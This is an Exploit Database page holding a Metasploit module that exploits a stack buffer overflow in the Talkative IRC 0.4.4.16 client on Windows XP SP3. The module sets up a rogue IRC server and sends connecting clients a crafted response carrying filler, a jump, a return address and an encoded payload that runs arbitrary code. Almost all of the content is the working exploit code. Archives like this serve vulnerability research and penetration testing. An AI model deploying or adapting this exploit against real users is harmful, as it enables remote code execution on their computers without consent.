



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Talkative IRC 0.4.4.16 - Response Buffer Overflow (Metasploit)

EDB-ID:

16459

CVE:

EDB Verified: 

Author:

[METASPLOIT](#)

Type:

[REMOTE](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2010-11-11

Vulnerable App:



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
##
# $Id: talkative_response.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Talkative IRC v0.4.4.16 Response Buffer
Overflow',
      'Description' => %q{
        This module exploits a stack buffer overflow in
Talkative IRC v0.4.4.16.
        When a specially crafted response string is sent to a
client,
        an attacker may be able to execute arbitrary code.
      },
      'Author' => [ 'MC' ],
      'License' => MSF_LICENSE,
      'Version' => '$Revision: 10998 $',
      'References' =>
        [
          [ 'OSVDB', '64582' ],
          [ 'BID', '34141' ],
          [ 'URL', 'http://milw0rm.com/exploits/8227' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload' =>
        {
          'Space' => 750,
          'BadChars' => "\x00\x0a\x20\x0d",
          'StackAdjustment' => -3500,
          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops' => 'True',
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [ 'Windows XP SP3 English', { 'Ret' => 0x72d1146b } ],
        ],
      'Privileged' => false,
      'DisclosureDate' => 'Mar 17 2009',
      'DefaultTarget' => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The IRC daemon port to
listen on", 6667 ])
      ], self.class)
    end

    def on_client_connect(client)
      res = ":irc_server.stuff 001 jox :Welcome to the Internet Relay
Network jox\r\n"
```

 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
client.put(res)
end

def on_client_data(client)
  return if ((p = regenerate_payload(client)) == nil)

  sploit = ":" + rand_text_alpha_upper(272) +
  Rex::Arch::X86.jmp_short(6)
  sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') +
  payload.encoded
  sploit << " PRIVMSG " + rand_text_alpha(rand(10) + 1)
  sploit << " : /FINGER " + rand_text_alpha(rand(10) + 1) + ".\r\n"

  client.put(sploit)

  handler
  service.close_client(client)
end

end
```

Tags: [Metasploit Framework](#)
(MSE)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.